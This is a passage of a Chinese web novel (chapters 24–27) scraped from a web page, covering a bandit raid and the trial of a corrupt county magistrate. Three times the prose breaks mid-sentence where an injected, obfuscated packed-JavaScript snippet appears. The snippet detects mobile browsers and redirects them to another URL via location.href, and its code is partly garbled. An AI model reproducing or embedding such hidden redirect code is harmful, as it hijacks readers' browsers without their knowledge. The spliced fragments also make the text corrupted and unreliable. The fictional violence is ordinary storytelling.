谭氏疯狂地笑了起来,眼角都噙着泪,他指着谢荣的鼻子。 “你啊你!你最爱的那个妾室,红莺啊!俩人都搞在一起不知道多少年了!也就你这个傻子还被瞒在鼓里!” 就像是被当头敲下一棒,谢荣的耳朵嗡嗡地响着,心口也传来一阵刺痛。 “呃!” 他捂着心口,软软地坐了下去。 看见谢荣瞬间崩溃的模样,谭氏心里却莫名有种畅快。 思维的混乱让她开始胡言乱语。 “整个东曲县的人都知道你,谢荣,头上顶着一顶绿帽子!” 高修扭动手腕想要挣脱,却被容朗死死压制住。 “把他的嘴堵上。”李希言难得像个好心人,“免得说出什么刺激到谢县令就不好了。” 高修被谢荣接管,暂时关押在县衙大狱。 缓过神的谢荣死撑着走到了李希言的院子里。 院子里的情形有些让他意外。 李希言和容朗并肩站着,不知道在说什么。 而他们身旁还放着几个木箱子。 谢荣连忙走过去:“王爷,李少使,二位这是?” 容朗答道:“案子已经了结,我们也要马上回京了。现在就走。” “这么快?”谢荣压下心中的喜意,“这案子……” 他偷偷瞟了一眼李希言。 李希言一脸公事公办。 “凶犯已经抓到,县衙账册也无问题,没必要再留。” “唉!”谢荣故作可惜,“这次二位来,下官也没能尽地主之谊,实在是……” “不必。”李希言抬手一指。 院子门口,站着戴着帷帽的一对男女,远远看去就觉得很是登对。 “这二人,本官要带走。韦家那边,你解决。” 谢荣现在只求她赶快离开,哪里会不应。 “应该的应该的!”他捋了捋胡子,假模假样地叹息道,“也是一对儿可怜人。” 想到之前韦鸢所言,容朗语中暗含讽刺:“谢县令倒是菩萨心肠。” 骂别人有伤风化的时候可不是这副嘴脸! 这话要是李希言说,谢荣肯定马上就能明白是在骂他。 可是,容朗在他眼里就是个温文之人。 谢荣还傻乐呵着:“人之常情而已,王爷言重了。” 一直不太想搭理他的李希言转过视线,下了逐客令。 “谢县令该去忙了。” 再不走,她要被蠢笑了! “是是是。”谢荣顺势应下,“那下官就先告退了,请二位恕下官不能相送。” 容朗颔首。 得了好消息的谢荣步伐轻快地离开。 想到这个活阎王马上就要走了,他甚至还哼起了小曲儿。 瑞王不知从哪里钻了出来,挤在二人中间。 “我们真的要走吗?我怎么觉得不对啊?” 李希言推开他的脸。 想到麻烦精要一路跟着,她就心烦。 宁愿看长乐王。 “卫川,让方淳把人带走,顺便给韦家递个消息,别让谢荣闲着。” 厚脸皮的瑞王再次凑上来:“李夫子!李夫子!还有呢?” “还有?”李希言唇角微微勾起,吐出两个字,“剿匪。” 24. 剿匪 低矮的几座小山拔地而起,连接成一大片山林。 远处是慈光寺与几座村庄。 按理说,此处应该是荒无人烟之地。 可是,夜色中却有星星点点的火把在山中穿梭。 近千的军士隐匿在山脚下。 窥伺着山中的动向。 李希言下马,走向关风和,问道:“情况都摸清楚了?” “来了?”关风和眼风一扫。 对方的身后还站着长乐王与瑞王。 她压低声音:“怎么那孩子也来了?” 李希言向后看了一眼。 即使被容朗擒着双手,瑞王还是像个闲不下来的猴子一样,东张西望。 哦,陛下,您的儿子还是这么烦人。 “让他见见血,也是好事。这些寨子里多少人?” “不多,不算被劫掠来的女子,也就五百出头,其中有不少人都是缺胳膊少腿的。” “活捉没有难度。”李希言蹙眉,摩挲着刀柄,“只是那些女子……” “我去后面包抄!”关风和拍着胸膛,“一个都伤不着!” “你去,我放心。”有靠谱的手下,李希言表情松快了不少,露出一个笑来。 容朗看得心里酸酸的。 就算都是女的……也不能这样啊…… 关风和不客气地摸了一把她的脸:“多笑笑多好看呐。” 李希言这下是真笑了:“快去你的!” “走了!”关风和扬了扬手里的剑,带着人转身离去。 容朗走近:“可有什么需要帮忙的吗?” “王爷把这个祖宗看好就行了。” “不带着我吗?”瑞王伸长了脖子,“来都来了。” “谁说不带着你。”李希言抬起手,对着手下吩咐,“拿把剑来。” 容朗仿佛明白了她的想法,松开了手。 没了桎梏的瑞王甩了甩手腕。 啊……总算自由了! 李希言把剑放在瑞王手里:“拿着。” “真的?!”瑞王喜滋滋地摸着剑,颇有些不敢置信,“你就不怕我跑掉啊。” 李希言对着容朗拱手道:“所以,要麻烦王爷把他看好。” 要管教孩子,还是要长辈动手更稳妥。 容朗一口应下:“应当如此。” 李希言清了清嗓子:“王爷……可要去换身衣裳?” 不是她无的放矢。 而是今日…… 这个长乐王穿的太……华而不实了! 虽然衣裳是不像往日那样大袖长袍,换了一身窄袖利落的黑衣裳。 但是……衣裳边边角角都是金线绣着的图样,头上的白玉冠,发带上还系着宝石,腰间的玉带更是奢华非常,看得人头晕目眩。 怎么也不像是能做事的打扮! 容朗低头检查了一遍自己的穿着。 没问题啊。 李希言也不好直言,她委婉地说道:“等会儿要进山,山中林茂树密,别挂着了王爷身上的东西。” “没事儿。”容朗摆手,很是财大气粗。 随时在姐姐面前保持完美的形象更重要。 对方不在乎,自己只好闭嘴。 “李少使!”富有磁性的男声满含喜悦,“你总算是来了!” 二人循声望去。 只见一位身着盔甲的年轻武将阔步而来,他生得确实不错,面容英挺,器宇轩昂。 “下官见过王爷!” 容朗是见过他的。 在两年前的订婚宴上。 周彻的发小——赵玄! 这货当时笑得可开怀了! “赵将军多礼了。” 好男人要学会大度。 即使对待情敌的发小,他也要很体面。 赵玄有些意外于他的和颜悦色。 他怎么记得,去年进京的时候,这个长乐王还眼神凉飕飕地看着他。 只是赵玄是个大气爽直的人,也没想太多,转头和许久未见的好友说起了正事。 “你要的人我都带到了啊。你要怎么调配?” 抓土匪这种事情,他可不擅长。 李希言老早就计划好了,从袖子里摸出之前苗青给她的地图。 四人坐下。 赵玄这才发现一旁的瑞王。 老天爷!这不是瑞王那个小祖宗吗! 表情崩坏的他捂住了脸。 难怪小李瘦了些! 瑞王没心没肺地打招呼:“赵将军好啊,我是胡家的三郎啊。” 容朗贴心地解释新身份:“母后娘家的孩子,论辈分要叫我一声小舅舅。这孩子,非要跟过来。” “啊……是这样啊!”刚刚动作还大开大合的赵玄拘束了起来,“原来是胡三郎啊。” 李希言完善新身份:“礼部胡侍郎的幼子,很少出门。” 赵玄拍了拍她的肩膀。 小李说假话的时候还是如此面不改色。 李希言随手捡起树枝在地图上划出一道痕迹。 “先说正事。这个寨子地形独特,居于山顶,四面陡峭,很难攀登,四面还有有高大的围墙挡住。不好推进,也不好速攻。只有在山寨的侧面,也就是西边有个崖缝。这里是薄弱之处,可先遣二十精锐从此处攻入,从里面打开南边的大门,大部队再由南边大门而入,里应外合,一举攻灭。” “岩钉都带好了,我去找几个轻巧的。” “找十个就好,其他的人我这边出,绣衣司的人更灵活些,你的兵留着主攻南门。” “好!那谁带队?” “我,你带着……胡三郎和长乐王。” “不行!”容朗立即反对。 二人转过头,一脸疑惑地看着他。 容朗也意识到自己有些激动,他找了个理由:“我……我轻功不错,愿出一份力。” 李希言直言道:“个子太高,攀登不易。” 容朗据理力争:“我虽然高了些,但是很灵活。” 李希言摇头。 人天生的事情没法改变。 个子高的人转身都要慢些,今晚又黑灯瞎火的,实在危险。 瑞王小孩儿心性,喜欢刺激,也附和道:“我也想去嘛,我个子不算高。” 李希言瞧都不带瞧他一眼,免得他越搭理越来劲儿。 不过嘛…… 她想到了什么,将容朗拉到一边儿小声说道:“让王爷去南门,主要是为了历练那个臭小子,有您在他身边,更好些。” 容朗直直看着她:“有我在,你才放心吗?” 他可计较刚刚她和关风和的亲密啦。 李希言哪里想得到他有这种心思,如实回答道:“嗯。” 容朗眉眼一弯,浅色的瞳孔盛着一片初升的月光,温柔倾泄。 “好,都听你的。” 一行人兵分两路。 李希言带着苗青等人在夜色的掩护下,悄无声息地到了崖缝下。 众人将衣角扎在腰间,武器别好。 李希言将爪钩系在腰间,抬头望去,崖缝有将近三丈高。 崖缝两边长满了杂草,间或还有几颗在缝隙中扎根的树。 “大家都小心些,若有意外一定要出声,性命最重要。” 众人点头。 李希言一马当先,率先爬了上去。 她稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13739002|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳踩在岩石凸起处,抓着手边一切可以支撑的东西,借力蹬踏,边爬边观察,每一步都稳当而快速。 这样沉着的样子,让随后而来的人安心不少。 不怕就不会慌。 不过一刻钟的功夫,李希言就看到了悬崖上的平台。 她心中一喜,沉住气,提气一蹬,顺利地爬了上去。 还不能歇息。 她立即固定好腰间的爪钩,垂下铁链,供后来人借力。 有了铁链的加持,所有人的动作更快了。 人,一个个涌了上来。 很好。 李希言收好爪钩。 不远处就是高耸的围墙。 苗青走上前,手里掂着一包火药:“少使?” 李希言接过火药,将其点燃,用尽全力一抛,扔向那高大的围墙。 轰—— 不过瞬间,围墙被炸开了一个不小的缺口。 轰鸣声撕开了敌人的护甲,也提醒了另外两路人马。 烟雾还未散去,一行人就按照计划,依次冲了进去。 李希言带着苗青等人冲在最前面。 这些土匪倒是训练有素。 还未到南门,就已经团团围了上来。 土匪数量众多,个个手里都握着武器,雪白的兵刃反射出刺眼的光。 李希言扫视一眼,脚下脚步未停,手上刀已出鞘。 刀身扭转,寒光湛湛。 顷刻间,数人倒地。 土匪们哪里见过这样的身手,不由缩了缩。 李希言右手持刀,一步步向前走。 飞溅的鲜血融在黑衣之下,看不见痕迹,只有她的脚边尚存血迹。 一时之间,竟无人敢动。 破空声忽然逼近耳边。 李希言飞快别过头,躲开攻击。 “什么人,敢在老子的地盘撒野!” 一个像熊一样壮实的大汉不知何时出现,阻挡住了前路,手里还拿着一个飞镖。 李希言的右脸侧被划出了一道口子,血顺着脸侧流了下来。 “你,是山寨的大当家?” 汉子这才看清对方的长相,大笑道:“竟然是个娘们儿!真是可惜,这脸蛋儿竟然让大爷我给划出了道口子。啧啧……”汉子的表情变得下流起来,令人作呕,“不过嘛,倒是不影响……” 刀光就在眼前。 汉子一下向后倒去,才堪堪避开了攻击。 李希言不屑于和这样的东西多言。 反正,迟早死在她的手里。 口舌之争,在这种情况下,没有意义。 她转身,横扫一刀,劈开一条路来。 “走!” 一行人立即趁机向南门冲去。 被甩在身后的土匪们此时才反应过来。 大当家大叫:“追!追!” 可惜。 被挑选的人本就是身手灵巧的,又先他们一步,土匪门根本追不上。 只能眼睁睁看着李希言一刀劈开了守门人,打开了大门。 在南门外等候已久的队伍鱼贯而入。 巨大的实力差距,让他们所向无敌。 片刻间,整个寨子地上已经布满了尸骸。 开门后就潜伏起来的李希言挡住了大当家逃走的去路。 她撩出一刀。 大当家灵活躲过,却在下一刻被不明的粉末扑了满脸。 身上力气顿失,他缓缓倒下。 李希言收起刀:“绑好,等会儿带走。” 前方的呼喊声已停,战局已定。 她向前走去。 还得早些回去,不然,高修撑不住就糟糕了。 25. 回马枪 血,地上的血已经汇成一个个小小的水洼,断肢,破碎的面容,被削掉的耳朵…… 瑞王脸色煞白,不敢再看,用力支撑着自己翻身下马。 看着自己的侄子这个样子,容朗也有些心疼。 “别看就是了。” “让他看。”李希言的声音从背后响起。 二人转身。 只见她倚靠在树上,侧面的线条比平日更多几分凌厉。 “苗青,把人提溜过来。” 话音一落,苗青就押着一个被绑住的汉子走了过来。 汉子被他扔在了瑞王面前。 容朗猜到她的想法,向旁边走了几步,只留瑞王一人站在汉子面前。 “大爷!大爷饶了我!”汉子哭得可怜,“我还有媳妇儿有孩子!求您!求您!” 即使被绑住,他还是歪歪斜斜地磕着头,把头磕得头破血流。 “拿你的剑,杀了他。”李希言微微侧过脸,平静地对着瑞王说道。 汉子反应更激烈了,不住地求饶:“别!大爷!求您!” 瑞王心里一软,语气带着些恳求。 “李夫子……他有妻儿……” “妻儿?”李希言凉凉地说道,“你问问他他说的妻子是被他抢来害死的十四个女子中的哪一个?” 汉子被戳穿了真面目,却还是没有一丝丝改变,只顾着求饶:“小的还有孩子,还有孩子!那些孩子离不得我!” “此人手下人命没有一百,也有八十。” 看着眼前耷拉着眼皮的汉子,瑞王不敢相信这样的人竟然会如此穷凶极恶。 可是,他一提起剑,眼前就闪过刚刚的那些画面。 还是太优柔寡断! 李希言耐不住性子,直接走上前,一把握住他的手,向汉子的胸膛刺去。 刺啦。 剑刃刺破血肉。 汉子抽搐了两下,晕死了过去。 胸口的洞向外涌着血,不止不息。 瑞王看着眼前血淋淋的尸体,一下失去了力气,带着血的剑掉落在地。 李希言环住他的肩膀。 “你替那些死去的人报了仇,不应该害怕。”她在他的耳边低声说着,“那十四个女子全部是被他活活折磨死,死的时候身上都是烂的。他的孩子也过得很不好,一个很小的时候就被他送给了大当家玩弄,其余的天天被他毒打……他要是不死……” 瑞王逐渐回过神。 到底是宫里长大的人,基本的承受能力还是有的。 李希言松开手,一下敲在他弯着的脊背上 “背打直!” 从小被压迫形成的肌肉记忆让瑞王不禁站得笔直。 容朗走过来,调侃道:“不是一天都想要做江湖侠客吗?杀个恶人都不敢了?” “那……那……”瑞王憋红了脸,挤出一句,“我才没有不敢!” 李希言翘起嘴角,却不小心牵动了脸上的伤口,刚刚止住血的伤口血痂还很脆弱,一下破碎开来,鲜血再次流下。 容朗眼神骤然一变,柔和的目光瞬间转冷。 他似乎已经忘记了,二人的面前站着瑞王,身后还有苗青。 就像小时候一样,他眼巴巴地凑到她的跟前。 二人距离得极近,近得鼻息都融合在了一起。 “是谁?” 眼前的脸,陌生又熟悉,让人恍然,李希言一时怔愣:“那个大当家。” 容朗拉着脸,蒙头向前冲。 不知为何,李希言拉住了他的袖子。 “算了……” “咳咳咳咳咳!”苗青扯着嗓子拼命咳了几声。 这……这不太对劲! 二人在回忆残留的碎片边缘惊醒。 容朗慌了。 完了。 姐姐现在还没认出他,肯定会以为他是个登徒子! 李希言面上未动,心里却如同潮汐涨落。 好像…… 瑞王揉了揉眼睛。 一定是他的错觉! 小叔叔和这个女阎罗才认识,怎么可能! 不可能! 他越想越觉得气短。 有那么一点点可能……吧? 和他对视的苗青别过眼。 呵,原来不是两面派,是狼子野心,是心怀叵测。 到底还是不能让自己的上司尴尬。 苗青硬着头皮上了:“少使,咱们还要回去呢。” 尴尬的气氛消散了不少。 被吸引了注意力的瑞王扯着个大嗓门:“回去?回哪儿去啊?” 看着紧闭的县衙大门,瑞王更懵了。 “李……少使,我们回来干嘛?” 刚刚的插曲让李希言一直不太自在。 这个浮夸的长乐王怎么可能会像小和尚呢? 小和尚多朴实的孩子。 瑞王的骤然出声,更让她心烦意乱。 “你还真以为凶手是高修?” “等等!不是高修是谁啊!”瑞王摸不着头脑,“难道是谢荣?是他诬陷?” 解释起来太复杂,李希言直接暴力镇压。 她一把按住他的头:“等会儿你就知道了。” 瑞王不敢乱动,只悄悄扯了扯了身边容朗的衣袖。 “到底怎么回事儿啊。” 容朗无力地摇摇头。 他现在满心都是自己刚刚唐突的行为。 这下好了。 姐姐肯定被他吓到了。 正说话间,县衙的大门忽然打开,一个面容陌生身穿官服的中年男子小跑着迎了出来。 “下官夏平见过王爷,见过李少使。” 此人一脸殷切,让容朗觉得有些糊涂。 谁啊? 李希言解释道:“东曲县的县丞。他,已经投诚。” 细细一想,容朗就明白了此中关窍。 他们来之后,一直没见过这位东曲县的二把手,反而是高修一个县尉出现的时间的多。 如此一看,怕不是这夏平一直被谢荣打压着。 只要谢荣倒下,作为二把手的他就能替补上去…… 绝佳的卧底人选。 不知道姐姐是什么时候撬开的这个口子。 他面露钦佩。 夏平拱手道:“老天庇佑,您总算来了。那个谢荣跟疯了似的,您走后,他一直在拷打高修。下官怕他真被打死,悄悄把人带了出来,谢荣现在正在搜着呢。” “怎么?连土匪的事情他都顾不上吗?”李希言有些意外。 “嗐!谢荣和他不是还有私仇吗?那个红莺跑了,他一肚子气没地儿撒只能全撒在高修身上。” 她倒是漏算了这一点,本来让方淳带走红莺只是怕她被打死,没想到竟差点把高修给连累了。 “你倒是机敏。”李希言赞了一句,下了马,“走吧。” 绣衣司的人不多,只有二十来个,但是加上赵玄手下的百来号人就足够威慑了。 还在府衙里疯狂搜寻着高修的谢荣很快就被捉住,捆好扔到了大堂上。 县衙是不会夜审的。 今日是特例。 分列在大堂两侧的绣衣使代替了往日衙役的位置,一身黑衣,面容肃穆,杀气腾腾。 李希言正襟危坐在主位上,眉头的红痣格外醒目。 烛光摇晃之间,每个人脸上明暗交织。 一时之间,竟如同身在地府一般。 谢荣心生恐惧,扑通一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743576|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下跪了下去。 李希言轻敲惊堂木:“带高修上堂。” 高修是被两个人架着上来的。 魁梧的身躯缩成一团,从头到脚都乱糟糟的,白色的囚衣上洇染血迹,呼吸快而浅。 “本官走了不过半日。”李希言冷冷地扫了谢荣一眼,“你把人都折磨得半死了,真是好手段,合该你来绣衣司做事。” 谢荣背上已经被汗浸湿,俯趴在地上,不敢开口。 他再蠢,此时也已经明白了一点——中计了! 这个女人,太狠太毒……太精。 挑得他灭口高修,让他们二人联盟彻底破裂。 又以夏平来牵制,保高修不死。 有了高修这个人证…… “高修。”李希言问道,“五年前余绍假造账册,从中牟利之事的真相究竟是什么?” 高修自然不会再隐瞒了。 身上的刺痛和因为失血导致的冷意都在提醒着他。 谢荣是真的要杀了他。 他提起一口气,将真相和盘托出。 “假账是谢荣栽赃给余绍的。王御史刚来的时候,他害怕余绍检举他,就送了那个御史一块寿山田黄瑞兽圆雕,王御史收了东西,就把罪名全部扣在了余绍头上。” “那余绍还活着吗?” “死了,真的死了。我去追他的时候,他一急直接跳了下去,关于此事,我并未隐瞒。”高修喟叹一声,“我没有真想杀了他……” 李希言直接戳穿他的虚伪:“他被你抓到也是死。” 余绍就是那个替死鬼,要是他不死,死的就是他们二人了。 “继续,把这么多年谢荣和你干的事情都说清楚。” 高修低着头,说一句老实话:“有点儿多,说不完。” 李希言被他骤然而来的坦诚弄得有些想笑。 “捡重点的说。” 高修理了理思绪。 “土匪曹老大是谢荣一手栽培出来的,只要有什么人与他不和,他就会让曹老大去杀了那些人,事后诈称是土匪劫掠。山寨的收入每年也要上供一部分给他。我记得……曹老大曾经打劫过县里的汪家,他们家有个传家宝,就是个汉朝的凤纹玉杯,现在就在他手里。” 他交代事情分外明晰,连证据都能说出来。 而被掀了老底的谢荣就不高兴了。 他额头青筋暴起,一下扑了过去。 不需要李希言下令,绣衣使们就扯开了他。 高修瘫坐在地,对着谢荣冷笑,继续说道:“给你们的账册是他让孙边写的假账册,真账册就在他书房里。” “孙边的香囊你是在何时捡到的?” 高修愣了一下:“第二次去现场的时候,当时谢荣在旁边偷懒,我一个人在挖尸骨,突然就看到了孙边的香囊。当时,我才明白过来,尸骨就是孙边,怕惹上嫌疑,我就把香囊私藏了。” “尸骨是孙边,你怎么会有嫌疑呢?” “我……”高修的表情凝重了几分,“我在十四那晚收到了一封孙边的信,让我那晚去慈光寺外和他见面。” “他让你去你就去?什么事情值得你大晚上的跑一趟?” 高修急忙辩解:“李少使!我真的没杀他!他约定在亥时见面,我等了一个时辰他没来我就走了,我一直都没有见过他!” “我知道你没有杀他。但是……”李希言向前倾身,锐利的眼神直逼人心,“那日,孙边也是因为一封‘你’的信才出的门,信上说‘旧事相商’……你的那封信上又写的什么?” 高修浑浊的眼珠微颤。 “也是‘旧事相商''吧?”李希言向后一仰,靠在椅背上,“这件‘旧事’到底是什么,能够引得你们二人出洞?和余绍有关?” 26. 人心难测 身上的囚衣白得刺眼。 褪去官服的高修失了底气。 他带着一种破罐子破摔的心态开了口。 “您说得没错。” 高修动了动身体,盘腿坐好,弯着脊背。 “我和余绍,算是好友。五年前,余绍发现了我和……红莺的关系,就跑来警告我,说让我要洁身自好,‘奸生杀’。事情一旦败露,我和红莺都会死……” 高修看着眼前的余绍,敷衍了过去:“知道了,我会找机会和她断掉的。” 余绍这才放心离开。 又过了几日,刚刚和红莺私会完的高修被孙边拦住了。 孙边神神秘秘的。 “高县尉,我有紧要的事情要告诉你。我们借一步说话。” 高修向来不太喜欢他,可是见他神色郑重,还是和他进了值房。 “高县尉。”孙边关上门就说道,“您可感觉到这几日县令对您的态度有些异常?” 这话戳到了高修的心窝子里。 谢荣这厮最近就像疯了一样,把所以事情推给自己做,把他累得够呛,连去找红莺都要挤时间。 这些就不说了,反正自己也被他使唤成了习惯。 可是,他还经常对自己冷嘲热讽,百般刁难。 看着高修的脸色,孙边暗自得意,脸上却装出一副犹豫的样子。 对方越是如此,高修越是好奇。 “你知道其中的缘由?” 孙边欲言又止,摆了摆手:“算了,我也不太确定……” 他作势要走,却被高修一把拉住。 “诶!这话可没有说一半就走的,你这半吞半吐的算什么!” 孙边皱着眉,晃了晃头,似乎是下定了决心:“好,那我就告诉你,但是……”他压低声音,“这事儿您可千万别说是我说的!” “你说就是,我答应你。” 孙边这才说道:“十日前,我去县令那里碰巧听到余绍在悄悄和县令说话,言语中都是你的名字,具体的没听清,我只听见他说什么试探啊,还有整治……” 未尽的话语在高修心里深深埋下了一颗怀疑的种子。 怕不是余绍已经向谢荣告了自己的状。 如今没有动手不过是因为没有实证。 无奈。 他没法问也没法做什么,只能先暂时和红莺断了联系,先保全自己。 果不其然,自从自己和红莺断了联系后,谢荣对他的态度就好上了不少。 可是,这样的把柄在谁手里他都不安心。 必须要想办法除掉他。 机会很快就来了。 谢荣和御史的交易做的一点都不避人。 他看得一清二楚。 账册…… 他回味着二人谈话的重点。 一个想法在他脑海里形成。 只是,要怎样才能让谢荣自己去动手呢…… 利用人性是最好的办法。 高修找到了余绍,告知他新任的按察御史是个正直之人。 余绍如他所预料的一样,像个愣头青似的拿着账册去找了御史。 按察御史笑眯眯地收下了账册,转头就把事情全部告知给了谢荣。 不需要高修去提醒。 谢荣直接把锅甩到了余绍身上。 “余绍死后,孙边开始拿那件事情讹诈我,我才发觉自己中了计。谢荣态度的变化多半是孙边搞的鬼。可是,我已经无法回头了。” 高修像是用尽了自己所有的力气,脊背更弯了。 “带下去,给他治伤。”李希言可不想让这个重要证人就这样死了。 高修被抬下去,接下来就该轮到谢荣了。 “刚刚高修指证你的事情你可承认?” 谢荣努力挺起胸膛:“无稽之谈。” “哦,就是无可辩驳,但是就是打死不认?” 谢荣确实更加镇静些,即使已经是如此境地还是振振有词。 “没有物证,请恕下官无认罪!” “堵住他的嘴,再把曹老大带上来。” 现场顿时一静。 只见,容朗一手拖着浑身是血的曹老大走了进来。 曹老大一身狼狈,气息奄奄,容朗却还是衣着得体讲究,对比极其鲜明。 李希言眉头微蹙,旋即很快恢复了平静。 这个长乐王怎么跑去整治犯人了? 算了,没死就行。 “曹老大,这些年,你为何一直盘踞在城外却没有官府抓得到你。” 此刻的他已经完全没了之前雄壮的模样,像是被人抽掉了骨头,只剩下一摊撑不起来的肉。 “因为……因为谢荣,是谢荣指使小的,指使小的。” “他指使你做的土匪?” “是……小的本名叫做何威,是信州人,因为杀了人被通缉。后来在东曲县被高修给抓了。谢荣让小的在城外建立山寨,为他做事,他就放小的自由。” “他不怕你跑?” 曹老大扯出一个笑:“有钱呐,跑什么?” “你为谢荣做过什么事?” “每年我都要把抢来的财物的一半上交给谢荣,还要帮他杀人。” “杀了哪些人?” 曹老大立即报出一长串名字。 李希言听得眉心一跳一跳的。 有富商就不说了,还有官员。 “你还敢杀官员?” 曹老大瞄了一眼谢荣。 “他让我把尸体扔下山崖,伪造成那些人坠崖而死。” “谢县令的脑子可真是够灵活。”惊堂木在桌上轻轻敲了几下,“让他说话。” 绣衣司的人将他嘴里的布团取出。 憋得满脸通红的谢荣狠狠吸了几口气,声音嘶哑。 “一个匪徒的话,也能信?” “信不信不是你说了算。只有八十岁以上的老人,十岁以下的稚子以及神志不清的人,不可为证。” 李希言出乎意料的讲道理。 竟然还跟他讲起了律法。 谢荣心思微动。 见他目光闪烁,李希言用脚指头都能猜到这人在想什么。 “再给本官耍嘴皮子功夫就直接打死。” 站在旁边的绣衣使配合地把手里的杀威棒重重地一杵。 谢荣瞬间僵硬。 容朗一脸和善的笑:“老实交代,不受皮肉之苦。再玩儿心眼,就是受了皮肉之苦还是要招。孰轻孰重,谢县令不会选?” 这样的话,谢荣还是听不进去,依旧梗着脖子。 “高修与我有旧怨,这个匪徒更是心思叵测之人,下官不认。” 李希言几乎要笑出来,她招手:“把红莺带上来。” 娇美的妇人轻移莲步,依旧是如花的容颜。 还未等谢荣发狂,旁边的绣衣使就把他死死压住。 红莺挑衅地给他飞了个媚眼,旋即对着李希言施礼:“民妇见过李少使。” “刚刚你在外面都听见了,怎么?高修和胡大说的是实话吗?” 红莺干脆利落地点头:“当然是真的。” “贱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749700|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人!”谢荣怒骂。 红莺捂着嘴笑:“有这骂人的劲儿平时怎么不见你在床上使啊。” 容朗默默捂住了瑞王的耳朵。 小孩子不能听。 李希言饶有趣味地打量了这个红莺一眼。 红莺也不管被气得吭赤吭赤的谢荣,甩了甩帕子继续说道:“他还让我陪着那个王御史睡过呢。那御史右边大腿上有一颗带毛的痦子。还有还有……曹老大给他那些东西他都藏在我房间里,我可以带大人们去找……” 她一股脑把谢荣的老底掀了个精光。 不为其他,只为了这救命之恩。 刚刚高修被抬出去的样子,她看得可清楚了。 一个大汉都能折磨成那副模样,换做是她,定然早就没了性命。 不管这个李少使是出于什么目的救她出去,终归是救了她一条命。 而且…… 她还有几十年要活呢! 谢荣倒了,她反而得寻一条生路。 “你在得意什么啊,贱人,妻告夫徒两年。”谢荣已经觉得什么都无所谓了,朝着李希言挑衅,“李少使不会不遵律法吧!” 李希言板着脸:“红莺是妾吗?” 红莺反应极快:“不是呢,我连小妾都不是,也不是他的奴仆。他当时买下我就把我带回家了,还没有过明路呢~” 二人一唱一和,就像是商量好了似的。 谢荣心火起,对着红莺开骂:“你个贱人背着我偷人还恬不知耻地敢出现在人……” 李希言立即摆手:“把他嘴堵住,拖下去。” 红莺才不示弱。 “偷人是因为你不行啊,你活该被戴绿帽子,你后院里那么多人,都给你戴过呢~” 还未被拖下去的谢荣两眼一翻,晕了过去。 红莺甩了甩帕子:“啧,气性还挺大。” 李希言:姑奶奶,你这个骂法,死了都能气活。 听到了最后一句的瑞王红着脸,眼睛亮亮的:“是真的吗?” 容朗往旁边撤了一步。 这不是我侄子。 要不是这里还有这么多人,李希言真的会捂住脸。 陛下!你家儿子怎么傻乎乎的! 第二日一早,县衙的人在城门口张贴了告示。 围观的百姓立即聚集了过来。 “快来个人念念,写的啥!” 路边儿一个算命的老头挤了进去:“让让啊!我识字,我来念啊!” 人群自动让出一条路。 老头理着褡裢,走到最前面,眯着眼睛看着告示。 “本县县令谢荣,县尉高修勾结匪徒,残害人命,中饱私囊,侵吞土地。现,已关押至县衙大狱。本县事务由县丞暂代。” “勾结匪徒啊……”人群中一声感叹,“那之前的汪家岂不是……” “这些王八蛋忒坏!” 卫川不知从哪里冒了出来。 满是骂声的人群一见这衣裳忽然一静。 卫川对百姓的恐惧并无反应,笑着说道:“那个匪窝已经被绣衣司处理掉了,各位日后放心行路。被劫掠的女子皆已安置在县衙中,诸位可以自行去认领其回家。” 或许是他的模样实在是和善,向来惧怕绣衣司的百姓此刻倒没有太害怕。 甚至还有人大着胆子问道:“那……那两个狗官什么时候砍头啊?” 卫川叹了口气:“甭提了!那账册有一部分不全,我们那上峰正头疼呢。” “账册咋会不全啊?” “这我也不清楚……” 27. 崖边 昨晚经历了一场巨变的县衙已经完全平静下来。 代理事务的县丞夏平本就是县衙的老人,平日里又是个和谁都处的来的性子,绝大部分人对此都没有太大的抵触。 而这次办完了事情的李希言一行人也没有急着走,反而安顿了下来。 天色已晚,李希言屋内烛火还亮着,窗户上映着她奋笔疾书的影子。 门忽然被敲响。 “李少使?” 是关风和。 “进来吧。”李希言把手边的一本书压在正在写的手札上,她动作很急,丝毫不顾手札上的墨还未干透。 关风和面带倦色,向来精神奕奕的她眼神都有些发飘。 “辛苦你了。”李希言示意她坐下,给她倒了一盏茶水。 关风和接下,一口气干完。 “有好几个姑娘还没人来接。” 李希言早就打算好了。 “我在沧州州府有个庄子,把人送那儿去安置吧。” 关风和愕然:“你在沧州也有庄子?!”她喃喃道,“少使啊,这狡兔三窟,您老人家到底有几个窟啊……” “我老家是沧州,在沧州有那么两个落脚的地方很正常。” 